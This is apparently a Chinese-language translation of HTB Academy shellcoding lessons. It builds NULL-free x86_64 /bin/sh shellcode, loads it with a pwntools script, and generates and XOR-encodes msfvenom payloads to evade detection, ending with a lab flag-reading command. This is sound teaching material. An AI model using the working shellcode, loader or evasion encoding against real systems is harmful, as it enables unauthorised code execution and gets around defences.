Shellcoding

Shellcodes

通过本模块所学的知识,我们应该对计算机和处理器架构以及程序如何与此底层架构进行交互有很好的理解。我们还应该能够反汇编和调试二进制文件,并很好地理解它们正在执行什么机器指令以及它们的通用目的是什么。现在我们将学习shellcodes,这是渗透测试人员的基本概念。

What is a Shellcode

我们知道,每个可执行的二进制文件都是由汇编语言编写的机器指令组成的,然后汇编成机器代码。shellcode是二进制可执行机器码的十六进制表示。例如,让我们以我们的Hello World程序为例,它执行以下指令:

Code:

global _start

section .data
message db "Hello HTB Academy!"

section .text
_start:
mov rsi, message
mov rdi, 1
mov rdx, 18
mov rax, 1
syscall

mov rax, 60
mov rdi, 0
syscall

正如我们在第一节中看到的,这个Hello World程序汇编了以下shellcode:

Code:

48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05

这个shellcode应该正确地表示机器指令,如果传递给处理器内存,它应该理解它并正确地执行它。

Use in Pentesting

能够将shellcode直接传递到处理器内存并执行它在Binary Exploitation中起着重要作用。例如,利用缓冲区溢出漏洞,我们可以传递一个reverse shell shellcode,让它执行,并接收一个反向shell。

现代的x86_64系统可能有防止将shellcode加载到内存中的保护。这就是为什么x86_64二进制利用通常依赖于Return Oriented Programming (ROP),这也需要很好地理解本模块中涵盖的汇编语言和计算机体系结构。

此外,一些攻击技术依赖于用shellcode感染现有的可执行文件(如elf.exe)或库(如.so.dll),使得这些shellcode被加载到内存中并在这些文件运行时执行。在渗透测试中使用shellcode的另一个优点是能够直接在内存中执行代码,而无需将任何内容写入磁盘,这对于减少我们在远程服务器上的可见性和占用空间非常重要。

Assembly to Machine Code

要理解shellcode是如何生成的,我们必须首先理解每条指令是如何转换成机器码的。每个x86指令和每个寄存器都有自己的binary机器码(通常用hex表示),它代表直接传递给处理器的二进制代码,告诉它执行什么指令(通过指令周期)。

此外,指令和寄存器的常见组合也有自己的机器码。例如,push rax指令有机器码50,而push rbx有机器码53,等等。当我们用nasm汇编代码时,它会将我们的汇编指令转换为各自的机器码,以便处理器能够理解它们。

请记住:汇编语言是为人类可读性而设计的,处理器不转换成机器代码就无法理解它。我们将使用pwntools来组装和反汇编我们的机器代码,因为它是二进制开发的重要工具,这是一个很好的机会开始学习它。首先,我们可以使用以下命令安装pwntools(它应该已经安装在PwnBox中):

mikannse7@htb[/htb]$ sudo pip3 install pwntools

现在,我们可以使用pwn asm将任何汇编代码组装到其shellcode中,如下所示:

mikannse7@htb[/htb]$ pwn asm 'push rax'  -c 'amd64'
0: 50 push eax

注意:我们使用-c 'amd64'标志来确保工具正确解释x86_64的汇编代码

正如我们所看到的,我们得到了50,这与push rax的机器码相同。同样,我们可以将十六进制机器码或shellcode转换为相应的汇编代码,如下所示:

mikannse7@htb[/htb]$ pwn disasm '50' -c 'amd64'
0: 50 push eax

我们可以在这里阅读更多关于pwntools汇编和反汇编功能的信息,以及关于pwntools命令行工具的信息。

Extract Shellcode

现在我们理解了每个汇编指令是如何转换成机器码的(反之亦然),让我们看看如何从任何二进制文件中提取shellcode。

二进制文件的shellcode仅表示其可执行文件.text部分,因为shellcode意味着可直接执行。要使用.text提取pwntools部分,我们可以使用ELF库加载elf二进制文件,这将允许我们在其上运行各种函数。因此,让我们运行python3解释器以更好地理解如何使用它。首先,我们必须导入pwntools,然后我们可以读取elf二进制文件,如下所示:

mikannse7@htb[/htb]$ python3

>>> from pwn import *
>>> file = ELF('helloworld')

现在,我们可以在上面运行各种pwntools函数,我们可以在这里阅读更多内容。我们需要从可执行文件.text部分转储机器码,我们可以使用section()函数来完成,如下所示:

>>> file.section(".text").hex()
'48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05'

注意:我们添加了’hex()‘来以十六进制编码shellcode,而不是以原始字节打印。

我们可以很容易地提取出二进制文件的shellcode。让我们将其转换为Python脚本,以便我们可以快速使用它来提取任何二进制文件的shellcode:

Code:

#!/usr/bin/python3

import sys
from pwn import *

context(os="linux", arch="amd64", log_level="error")

file = ELF(sys.argv[1])
shellcode = file.section(".text")
print(shellcode.hex())

我们可以将上面的脚本复制到shellcoder.py,然后将任何二进制文件的名称作为参数传递给它,它将提取它的shellcode:

mikannse7@htb[/htb]$ python3 shellcoder.py helloworld

48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05

另一种提取shellcode的方法(不太可靠)是通过objdump,我们在前一节中使用过。我们可以将下面的bash脚本写入shellcoder.sh,如果不能使用第一个脚本,可以使用它来提取shellcode:

Code:

#!/bin/bash

for i in $(objdump -d $1 |grep "^ " |cut -f2); do echo -n $i; done; echo;

同样,我们可以尝试在helloworld上运行它以获取其shellcode,如下所示:

mikannse7@htb[/htb]$ ./shellcoder.sh helloworld

48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05

Loading Shellcode

现在我们有了一个shellcode,让我们试着运行它,让我们在二进制利用中使用它之前测试我们准备的任何shellcode。我们上面提取的shellcode不符合我们将在下一节讨论的Shellcoding Requirements,所以它不会运行。为了演示如何运行shellcode,我们将使用下面的(fixed)shellcode,它满足所有Shellcoding Requirements

Code:

4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05

要使用pwntools运行我们的shellcode,我们可以使用run_shellcode函数并将我们的shellcode传递给它,如下所示:

mikannse7@htb[/htb]$ python3

>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> run_shellcode(unhex('4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05')).interactive()

Hello HTB Academy!

我们在shellcode上使用unhex()将其转换回二进制。

正如我们所看到的,我们的shellcode成功运行并打印了字符串Hello HTB Academy!。相反,如果我们运行前面的shellcode(不满足Shellcoding Requirements),它将不会运行:

>>> run_shellcode(unhex('b801000000bf0100000048be0020400000000000ba120000000f05b83c000000bf000000000f05')).interactive()

同样,为了使我们的shellcode运行起来更容易,让我们将上面的代码转换为Python脚本:

Code:

#!/usr/bin/python3

import sys
from pwn import *

context(os="linux", arch="amd64", log_level="error")

run_shellcode(unhex(sys.argv[1])).interactive()

我们可以将上面的脚本复制到loader.py,将我们的shellcode作为参数传递,然后运行它来执行我们的shellcode:

mikannse7@htb[/htb]$ python3 loader.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05'

Hello HTB Academy!

正如我们所看到的,我们能够成功地加载和运行我们的shellcode。

Debugging Shellcode

最后,让我们看看如何使用gdb调试shellcode。如果我们将机器码直接加载到内存中,那么如何使用gdb运行它?有很多方法可以做到这一点,我们将在这里介绍其中的一些。

我们总是可以使用loader.py运行shellcode,然后使用gdb将其进程附加到gdb -p PID。然而,这只在我们的进程在我们附加到它之前没有退出的情况下才有效。所以,我们将把shellcode构建为一个elf二进制文件,然后像我们在整个模块中所做的那样使用这个二进制文件和gdb

Pwntools

我们可以使用pwntools从shellcode中使用elf库构建ELF二进制文件,然后使用save函数将其保存到文件中:

Code:

ELF.from_bytes(unhex('4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05')).save('helloworld')

为了更容易使用,我们可以将上面的代码转换为脚本,并将其写入assembler.py

Code:

#!/usr/bin/python3

import sys, os, stat
from pwn import *

context(os="linux", arch="amd64", log_level="error")

ELF.from_bytes(unhex(sys.argv[1])).save(sys.argv[2])
os.chmod(sys.argv[2], stat.S_IEXEC)

我们现在可以运行assembler.py,将shellcode作为第一个参数传递,将文件名作为第二个参数传递,它会将shellcode组装成一个可执行文件:

Pwntools

mikannse7@htb[/htb]$ python assembler.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05' 'helloworld'

Pwntools

mikannse7@htb[/htb]$ ./helloworld

Hello HTB Academy!

正如我们所看到的,它用我们指定的文件名构建了helloworld二进制文件。我们现在可以使用gdb运行它,并使用b *0x401000在默认的二进制入口点中断:

gdb

$ gdb -q helloworld
gef➤ b *0x401000
gef➤ r
Breakpoint 1, 0x0000000000401000 in ?? ()
...SNIP...
─────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
●→ 0x401000 xor rbx, rbx
0x401003 mov bx, 0x2179
0x401007 push rbx

GCC

还有其他方法可以将shellcode构建为elf可执行文件。我们可以将shellcode添加到下面的C代码中,将其写入helloworld.c,然后使用gcc构建它(十六进制字节必须使用\x进行转义):

Code:

#include <stdio.h>

int main()
{
int (*ret)() = (int (*)()) "\x48\x31\xdb\x66\xbb\...SNIP...\x3c\x40\x30\xff\x0f\x05";
ret();
}

然后,我们可以用C编译我们的gcc代码,并用gdb运行它:

GCC

mikannse7@htb[/htb]$ gcc helloworld.c -o helloworld
mikannse7@htb[/htb]$ gdb -q helloworld

但是,由于一些原因,这种方法并不可靠。首先,它将整个二进制文件包装在C代码中,因此二进制文件将不包含我们的shellcode,但将包含各种其他C函数和库。这个方法也可能不总是编译,这取决于现有的内存保护,所以我们可能必须添加标志来绕过内存保护,如下所示:

GCC

mikannse7@htb[/htb]$ gcc helloworld.c -o helloworld -fno-stack-protector -z execstack -Wl,--omagic -g --static
mikannse7@htb[/htb]$ ./helloworld

Hello HTB Academy!

有了这个,我们应该对shellcode的基础知识有一个很好的理解。现在我们可以为下一步创建自己的shellcode了。

Shellcoding Techniques

正如我们在上一节中看到的,我们的Hello World汇编代码必须被修改以产生一个工作的shellcode。因此,在本节中,我们将介绍一些可以用来解决汇编代码中发现的任何问题的技术和技巧。

Shellcoding Requirements

正如我们在上一节中简要提到的,并不是所有的二进制文件给予可以直接加载到内存并运行的工作shellcode。这是因为shellcode必须满足特定的要求。否则,它将无法在运行时正确地反汇编成正确的汇编指令。

为了更好地理解这一点,让我们尝试反汇编我们在前一节中从Hello World程序中提取的shellcode,使用我们之前使用的相同的pwn disasm工具:

$ pwn disasm '48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05' -c 'amd64'
0: 48 be 00 20 40 00 00 movabs rsi, 0x402000
7: 00 00 00
a: bf 01 00 00 00 mov edi, 0x1
f: ba 12 00 00 00 mov edx, 0x12
14: b8 01 00 00 00 mov eax, 0x1
19: 0f 05 syscall
1b: b8 3c 00 00 00 mov eax, 0x3c
20: bf 00 00 00 00 mov edi, 0x0
25: 0f 05 syscall

我们可以看到这些指令与我们之前的Hello World汇编代码相对相似,但它们并不完全相同。我们看到有一个空的指令行,这可能会破坏代码。此外,我们的Hello World字符串无处可见。我们也看到许多红色的00,我们将在一点。

如果我们的汇编代码不是shellcode compliant,也不符合Shellcoding Requirements,就会发生这种情况。为了能够产生一个工作的shellcode,我们的汇编代码必须满足三个主要的Shellcoding Requirements

  1. Does not contain variables
  2. Does not refer to direct memory addresses
  3. Does not contain any NULL bytes 00

因此,让我们从上一节中看到的Hello World程序开始,并通过上述每一点并修复它们:

Code:

global _start

section .data
message db "Hello HTB Academy!"

section .text
_start:
mov rsi, message
mov rdi, 1
mov rdx, 18
mov rax, 1
syscall

mov rax, 60
mov rdi, 0
syscall

Remove Variables

shellcode一旦加载到内存中,就可以直接执行,而不需要从其他内存段加载数据,比如.data.bss。这是因为text内存段不是writable,所以我们不能写任何变量。相反,data段是不可执行的,所以我们不能编写可执行代码。

因此,要执行我们的shellcode,我们必须将其加载到text内存段中,并失去写入任何变量的能力。Hence, our entire shellcode must be under '.text' in the assembly code.

注意事项:一些旧的shellcoding技术(如jmp-call-pop技术)不再适用于现代内存保护,因为它们中的许多依赖于将变量写入text内存段,正如我们刚刚讨论的,这不再可能。

我们可以使用许多技术来避免使用变量,例如:

  1. 将立即字符串移动到寄存器
  2. 将字符串推入堆栈,然后使用它们

在上面的代码中,我们可以将字符串移动到rsi,如下所示:

Code:

mov rsi, 'Academy!'

但是,64位寄存器只能保存8个字节,这对于更大的字符串可能不够。所以,我们的另一个选择是依赖于堆栈,一次推送16个字节(以相反的顺序),然后使用rsp作为我们的字符串指针,如下所示:

Code:

push 'y!'
push 'B Academ'
push 'Hello HT'
mov rsi, rsp

然而,这将超过立即字符串push的允许界限,即一次是dword(4字节)。所以,我们将把字符串移到rbx,然后把rbx推到堆栈,如下所示:

Code:

mov rbx, 'y!'
push rbx
mov rbx, 'B Academ'
push rbx
mov rbx, 'Hello HT'
push rbx
mov rsi, rsp

注意:每当我们将一个字符串压入堆栈时,我们必须在它之前压入一个00来终止字符串。但是,在这种情况下我们不必担心,因为我们可以为write系统调用指定打印长度。

我们现在可以将这些更改应用到代码中,组装并运行它,看看它是否有效:

mikannse7@htb[/htb]$ ./assembler.sh helloworld.s

Hello HTB Academy!

我们可以看到它按预期工作,不需要使用任何变量。我们可以使用gdb检查它,看看它在断点处的外观:

gdb

$ gdb -q ./helloworld
─────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1
$rbx : 0x5448206f6c6c6548 ("Hello HT"?)
$rcx : 0x0
$rdx : 0x12
$rsp : 0x00007fffffffe3b8 → "Hello HTB Academy!"
$rbp : 0x0
$rsi : 0x00007fffffffe3b8 → "Hello HTB Academy!"
$rdi : 0x1
─────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe3b8│+0x0000: "Hello HTB Academy!" ← $rsp, $rsi
0x00007fffffffe3c0│+0x0008: "B Academy!"
0x00007fffffffe3c8│+0x0010: 0x0000000000002179 ("y!"?)
───────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x40102e <_start+46> syscall
──────────────────────────────────────────────────────────────────────────────────────────────────────

正如我们所注意到的,字符串是在堆栈中逐渐建立的,当我们将rsp移动到rsi时,它包含了我们的整个字符串。

Remove Addresses

我们现在在上面的代码中没有使用任何地址,因为我们在删除唯一的变量时删除了唯一的地址引用。然而,我们可能会在许多情况下看到引用,特别是callsloops等。因此,我们必须确保我们的shellcode知道如何在它运行的任何环境中进行调用。

为了能够这样做,我们不能引用直接存储器地址(即call 0xffffffffaa8a25ff),而是仅调用标签(即call loopFib)或相对存储器地址(即,call 0x401020)。我们在第4节中讨论了RIP相对寻址。

幸运的是,在整个模块中,我们只做了calls to标签,以确保我们学习如何编写易于shellcoded的代码。如果我们对一个标签做一个callnasm会自动将这个标签变成一个相对地址,这应该可以和shellcode一起使用。

如果我们曾经有过任何对直接内存地址的调用或引用,我们可以通过以下方式修复:

  1. 替换为对标签或RIP相关地址的调用(对于callsloops
  2. 推送到堆栈并使用rsp作为地址(用于mov和其他汇编指令)

如果我们在编写汇编代码时效率很高,我们可能不必修复这些类型的问题。

Remove NULL

NULL字符(或0x00)在汇编和机器代码中用作字符串终止符,因此如果遇到它们,它们将导致问题,并可能导致程序提前终止。因此,我们必须确保我们的shellcode不包含任何NULL字节00。如果我们回到我们的Hello World shellcode disassumption,我们注意到其中有许多红色的00

$ pwn disasm '48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05' -c 'amd64'
0: 48 be 00 20 40 00 00 movabs rsi, 0x402000
7: 00 00 00
a: bf 01 00 00 00 mov edi, 0x1
f: ba 12 00 00 00 mov edx, 0x12
14: b8 01 00 00 00 mov eax, 0x1
19: 0f 05 syscall
1b: b8 3c 00 00 00 mov eax, 0x3c
20: bf 00 00 00 00 mov edi, 0x0
25: 0f 05 syscall

这通常发生在将一个小整数移动到一个大寄存器中时,因此整数会被额外的00填充以适应较大寄存器的大小。

例如,在上面的代码中,当我们使用mov rax, 1时,它将把00 00 00 01移动到rax中,这样数字大小将匹配寄存器大小。我们可以在汇编上面的指令时看到这一点:

mikannse7@htb[/htb]$ pwn asm 'mov rax, 1' -c 'amd64'

48c7c001000000

为了避免这些空字节,we must use registers that match our data size.对于前面的例子,我们可以使用更有效的指令mov al, 1,正如我们在整个模块中所学习的那样。然而,在我们这样做之前,我们必须首先用raxxor rax, rax寄存器清零,以确保我们的数据不会与旧数据混合。让我们看看这两条指令的shellcode:

mikannse7@htb[/htb]$ pwn asm 'xor rax, rax' -c 'amd64'

4831c0
$ pwn asm 'mov al, 1' -c 'amd64'

b001

正如我们所看到的,我们的新shellcode不仅不包含任何NULL字节,而且它也更短,这是shellcode中非常需要的东西。

我们可以从前面添加的新指令mov rbx, 'y!'开始。我们看到,该指令将2个字节移动到8个字节的寄存器中。因此,为了修复它,我们将首先将rbx清零,然后使用2字节(即16位)寄存器bx,如下所示:

Code:

xor rbx, rbx
mov bx, 'y!'

这些新指令在其shellcode中不应包含任何NULL字节。让我们将相同的方法应用于代码的其余部分,如下所示:

Code:

xor rax, rax
mov al, 1
xor rdi, rdi
mov dil, 1
xor rdx, rdx
mov dl, 18
syscall

xor rax, rax
add al, 60
xor dil, dil
syscall

我们可以看到,我们在三个地方应用了这种技术,每个地方都使用了8位寄存器。

提示:如果我们需要将0移动到寄存器中,我们可以将该寄存器清零,就像我们上面对rdi所做的那样。同样,如果我们甚至需要push 0到堆栈(例如,对于String Termination),我们可以将任何寄存器清零,然后将该寄存器推入堆栈。

如果我们应用以上所有方法,我们应该有以下汇编代码:

Code:

global _start

section .text
_start:
xor rbx, rbx
mov bx, 'y!'
push rbx
mov rbx, 'B Academ'
push rbx
mov rbx, 'Hello HT'
push rbx
mov rsi, rsp
xor rax, rax
mov al, 1
xor rdi, rdi
mov dil, 1
xor rdx, rdx
mov dl, 18
syscall

xor rax, rax
add al, 60
xor dil, dil
syscall

最后,我们可以汇编代码并运行它:

mikannse7@htb[/htb]$ ./assembler.sh helloworld.s

Hello HTB Academy!

正如我们所看到的,我们的代码按预期工作。

Shellcoding

我们现在可以尝试使用之前的helloworld脚本提取新的shellcoder.py程序的shellcode:

mikannse7@htb[/htb]$ python3 shellcoder.py helloworld

4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05

这个shellcode看起来好多了。但它是否包含任何NULL字节?很难说。因此,让我们在shellcoder.py的末尾添加以下行,这将告诉我们我们的代码是否包含任何NULL字节,并告诉我们shellcode的大小:

Code:

print("%d bytes - Found NULL byte" % len(shellcode)) if [i for i in shellcode if i == 0] else print("%d bytes - No NULL bytes" % len(shellcode))

让我们运行更新后的脚本,看看我们的shellcode是否包含任何NULL字节:

mikannse7@htb[/htb]$ python3 shellcoder.py helloworld

4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05
61 bytes - No NULL bytes

正如我们所看到的,No NULL bytes告诉我们shellcode是NULL-byte free

尝试在前面的Hello World程序上运行脚本,看看它是否包含任何NULL字节。最后,我们到达了关键时刻,并尝试使用我们的loader.py脚本运行我们的shellcode,看看它是否成功运行:

mikannse7@htb[/htb]$ python3 loader.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05'

Hello HTB Academy!

正如我们所看到的,我们已经成功地为我们的Hello World程序创建了一个工作shellcode。

Shellcoding Tools

我们现在应该能够修改我们的代码并使其兼容shellcode,这样它就可以满足所有Shellcoding Requirements。这种理解对于制作我们自己的shellcode和最小化它们的大小至关重要,这在处理二进制利用时可能会变得非常方便,特别是当我们没有太多空间容纳大型shellcode时。

在某些其他情况下,我们可能不需要每次都编写自己的shellcode,因为类似的shellcode可能已经存在,或者我们可以使用工具生成shellcode,所以我们不必重新发明轮子。

通过二进制开发,我们会遇到许多常见的shellcode,比如Reverse Shell shellcode或/bin/sh shellcode。我们可以找到许多执行这些功能的shellcode,我们可以使用最小的修改或不修改。我们也可以使用工具来生成这两个shellcode。

For either of these, we must be sure to use a shellcode that matches our target Operating System and Processor Architecture.

Shell Shellcode

在我们继续使用工具和在线资源之前,让我们尝试创建我们自己的/bin/sh shellcode。要做到这一点,我们可以使用execve系统调用和59系统调用,这允许我们执行一个系统应用程序:

mikannse7@htb[/htb]$ man -s 2 execve

int execve(const char *pathname, char *const argv[], char *const envp[]);

正如我们所看到的,execve系统调用接受3个参数。我们需要执行/bin/sh /bin/sh,这将使我们进入shshell。所以,我们最终的函数是:

Code:

execve("/bin//sh", ["/bin//sh"], NULL)

所以,我们将参数设置为:

  1. rax -> 59 (execve syscall number)
  2. rdi -> ['/bin//sh'] (pointer to program to execute)
  3. rsi -> ['/bin//sh'] (list of pointers for arguments)
  4. rdx -> NULL (no environment variables)

注意事项:我们在’/‘中添加了一个额外的/bin//sh,因此总字符数为8,这将填满一个64位寄存器,因此我们不必担心提前清除寄存器或处理任何剩余字符。在Linux中,任何额外的斜杠都被忽略,因此这是一个在需要时平衡总字符数的方便技巧,并且在二进制开发中使用了很多。

使用我们在调用系统调用时学到的相同概念,下面的汇编代码应该执行我们需要的系统调用:

Code:

global _start

section .text
_start:
mov rax, 59 ; execve syscall number
push 0 ; push NULL string terminator
mov rdi, '/bin//sh' ; first arg to /bin/sh
push rdi ; push to stack
mov rdi, rsp ; move pointer to ['/bin//sh']
push 0 ; push NULL string terminator
push rdi ; push second arg to ['/bin//sh']
mov rsi, rsp ; pointer to args
mov rdx, 0 ; set env to NULL
syscall

正如我们所看到的,我们推送了两个(以NULL结尾的)'/bin//sh'字符串,然后将它们的指针移动到rdirsi。我们现在应该知道,上面的汇编代码不会产生一个工作的shellcode,因为它包含NULL字节。

Try to remove all NULL bytes from the above assembly code to produce a working shellcode.

一旦我们修复了代码,我们就可以在它上面运行shellcoder.py,并得到一个没有NULL字节的shellcode:

mikannse7@htb[/htb]$ python3 shellcoder.py sh

b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05
27 bytes - No NULL bytes

尝试运行上面的shellcode与loader.py,看看它是否工作,并把我们放在一个shell。现在让我们尝试使用shellcode生成工具获取/bin/sh的另一个shellcode。

Shellcraft

让我们从我们常用的工具pwntools开始,并使用它的shellcraft库,该库为各种syscalls生成shellcode。我们可以列出syscalls工具接受如下:

mikannse7@htb[/htb]$ pwn shellcraft -l 'amd64.linux'

...SNIP...
amd64.linux.sh

我们看到了amd64.linux.sh系统调用,它会将我们放入一个shell,就像上面的shell代码一样。我们可以如下生成它的shellcode:

mikannse7@htb[/htb]$ pwn shellcraft amd64.linux.sh

6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

请注意,这个shellcode并不像我们的shellcode那样优化和简短。我们可以通过添加-r标志来运行shellcode:

mikannse7@htb[/htb]$ pwn shellcraft amd64.linux.sh -r

$ whoami

root

而且它的工作原理和预期的一样。此外,我们可以使用Python3解释器完全解锁shellcraft,并使用带参数的高级系统调用。首先,我们可以使用dir(shellcraft)列出所有可用的系统调用,如下所示:

mikannse7@htb[/htb]$ python3

>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> dir(shellcraft)

[...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]

让我们像上面一样使用execve系统调用来放入一个shell,如下所示:

>>> syscall = shellcraft.execve(path='/bin/sh',argv=['/bin/sh']) # syscall and args
>>> asm(syscall).hex() # print shellcode

'48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05'

我们可以在这个链接上找到x86_64接受的系统调用及其参数的完整列表。我们现在可以尝试使用loader.py运行这个shellcode:

mikannse7@htb[/htb]$ python3 loader.py '48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05'

$ whoami

root

而且它的工作原理和预期的一样。

Msfvenom

让我们试试msfvenom,这是我们可以用来生成shellcode的另一个常用工具。同样,我们可以列出Linuxx86_64的各种可用有效负载:

mikannse7@htb[/htb]$ msfvenom -l payloads | grep 'linux/x64'

linux/x64/exec Execute an arbitrary command
...SNIP...

exec payload允许我们执行指定的命令。让我们将’/bin/sh/‘传递给CMD,并测试我们得到的shellcode:

mikannse7@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex'

No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of hex file: 96 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05

注意,这个shellcode也没有我们的shellcode那么优化和简短。让我们试着用我们的loader.py脚本运行这个shellcode:

mikannse7@htb[/htb]$ python3 loader.py '6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05'

$ whoami

root

这个shellcode也可以工作。尝试在shellcraftmsfvenom中测试其他类型的系统调用和有效负载

Shellcode Encoding

使用这些工具的另一个好处是编码我们的shellcode,而无需手动编写编码器。对shellcode进行编码可以成为具有防病毒或某些安全保护的系统的一个方便功能。然而,必须注意的是,用普通编码器编码的外壳代码可能容易检测。

我们也可以使用msfvenom来编码我们的shellcode。我们可以首先列出可用的编码器:

mikannse7@htb[/htb]$ msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder

<SNIP>

然后我们可以为x64选择一个,比如x64/xor,并将其与-e标志一起使用,如下所示:

mikannse7@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Final size of hex file: 174 bytes
4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c

让我们尝试运行编码的shellcode,看看它是否运行:

mikannse7@htb[/htb]$ python3 loader.py 
'4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c'

$ whoami

root

正如我们所看到的,编码后的shellcode也可以正常工作,但不太容易被安全监控工具检测到。

提示:我们可以使用-i COUNT标志多次编码shellcode,并指定我们想要的迭代次数。

我们看到,编码的shellcode总是比未编码的shellcode大得多,因为编码shellcode添加了一个内置的解码器用于运行时解码。它还可以对每个字节进行多次编码,这会在每次迭代时增加其大小。

如果我们有一个自定义的shellcode,我们也可以使用msfvenom来编码它,通过将其字节写入文件,然后使用msfvenom将其传递给-p -,如下所示:

mikannse7@htb[/htb]$ python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05'))" > shell.bin
mikannse7@htb[/htb]$ msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' < shell.bin

Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 71 (iteration=0)
x64/xor chosen with final size 71
Payload size: 71 bytes
Final size of hex file: 142 bytes
4831c94881e9fcffffff488d05efffffff48bb5a63e4e17d0bac1348315827482df8ffffffe2f4ea58acd0af59e4ac75018d8f5224df7b0d2b6d062f5ce49abc6ce1e17d0bac13

正如我们所看到的,我们的有效载荷被编码,并且变得更大。

Shellcode Resources

最后,我们总是可以搜索在线资源,如Shell-StormExploit DB,以获得现有的shellcode。

例如,如果我们在Shell-Storm中搜索/bin/sh上的Linux/x86_64 shellcode,我们会发现几个大小不同的示例,比如这个27字节的shellcode。我们可以在Exploit DB中搜索相同的内容,我们找到了一个更优化的22字节shellcode,如果我们的Binary Exploitation只有大约22字节的溢出空间,这可能会有所帮助。我们还可以搜索编码的shellcode,它们一定会更大。

我们上面写的shellcode也是27字节长,所以它看起来是一个非常优化的shellcode。有了所有这些,我们应该能够轻松地编写、生成和使用shellcode。

Skills Assessment

Task1

Task2

msfvenom -p 'linux/x64/exec' CMD='cat ./flg.txt' -a 'x64' --platform 'linux' -f 'hex'